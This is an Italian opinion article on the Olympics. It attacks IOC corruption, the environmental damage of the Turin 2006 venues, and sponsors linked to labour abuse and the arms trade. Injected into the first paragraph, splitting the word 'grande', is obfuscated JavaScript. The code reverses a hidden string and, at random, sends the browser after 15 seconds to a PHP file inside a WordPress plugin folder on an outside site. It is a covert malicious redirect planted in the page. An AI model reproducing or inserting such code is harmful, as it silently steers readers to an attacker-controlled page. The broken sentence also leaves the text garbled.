Grandi affari sul podio

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Olimpiadi. Una parola che evoca lo sport nella sua espressione più alta, ma anche la stretta connessione fra potere e gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande imprenditoria. Un paese infatti, per poter ospitare i giochi, deve far ricorso ad importanti interventi strutturali. Il problema è che in queste occasioni gli amministratori perdono la testa e si rendono protagonisti di un modello di sviluppo distruttivo e scriteriato, che mette all’ultimo posto la tutela del paesaggio, quando non si tratta addirittura di un criminoso intreccio di interessi con le categorie economiche o di vera e propria corruzione.
Di scandali del genere il CIO (Comitato Olimpico Internazionale) si è macchiato più volte nella sua storia, come ci racconta Roberto Bosio nel libro “I giochi del potere – Gli abusi e la corruzione della multinazionale dei cinque cerchi” (Macro edizioni). Leggendolo scopriamo che, ad esempio, per i giochi di Torino 2006 si è costruito un impianto di salto col trampolino che coinvolge ben tre aree classificate dall’Unione Europea, come “ambientalmente da salvaguardare per proteggere il patrimonio della flora e della fauna selvatica”. E parliamo di una struttura che di fatto sarà utilizzata soltanto durante i 15 giorni dei giochi. Il salto con gli sci in effetti non ha poi in Italia queste folle di praticanti…
Quanto a sponsor “iniqui” poi, se parlassimo solo di Coca Cola faremmo un torto agli altri. Un altro colosso da molti anni sponsor del CIO (Comitato Olimpico Internazionale) è la catena di fast food McDonald’s, rea di praticare politiche irrispettose dell’ambiente, di maltrattare gli animali, di riconoscere paghe e diritti bassissimi ai suoi dipendenti, di avere fornitori che sfruttano il lavoro minorile.
Basta? No: come tralasciare le multinazionali dell’abbigliamento sportivo (Nike fa da capofila, ma non sono da meno Adidas, Reebok, Fila, Puma, Asics, Mizuno, ecc…) che investono montagne di soldi per sponsorizzare le Olimpiadi. Com’è ormai noto, queste aziende realizzano i propri articoli affidando la produzione a fornitori del Sud del Mondo, che pagano i propri dipendenti in maniera inadeguata, ben al di sotto della soglia di sussistenza.
Per evitare che i giochi avessero partners del genere, associazioni e movimenti della società civile hanno fatto pressione con la campagna Gioca Pulito, ma non sono riusciti ad evitare che certe aziende, magari impegnate appieno nel commercio o l’export di armi, sponsorizzassero i giochi. Come Finmeccanica, principale gruppo italiano nel settore degli armamenti, o Fiat/Iveco, che ogni anno esporta centinaia di milioni di euro in armi in diversi paesi del mondo e coinvolta nella produzione di “camere mobili di esecuzione” (!) in Cina, o come San Paolo/IMI, ai primi posti in Italia nella classifica delle banche finanziatrici dell’esportazione d’armi.
E che dire delle misure di sicurezza che saranno messe in atto dal nostro paese per proteggere tutto il carrozzone? Impressionanti, con forti limitazioni di diritti e libertà civili, senza che questo sia previsto da nessun ordinamento giuridico. Avanti così!

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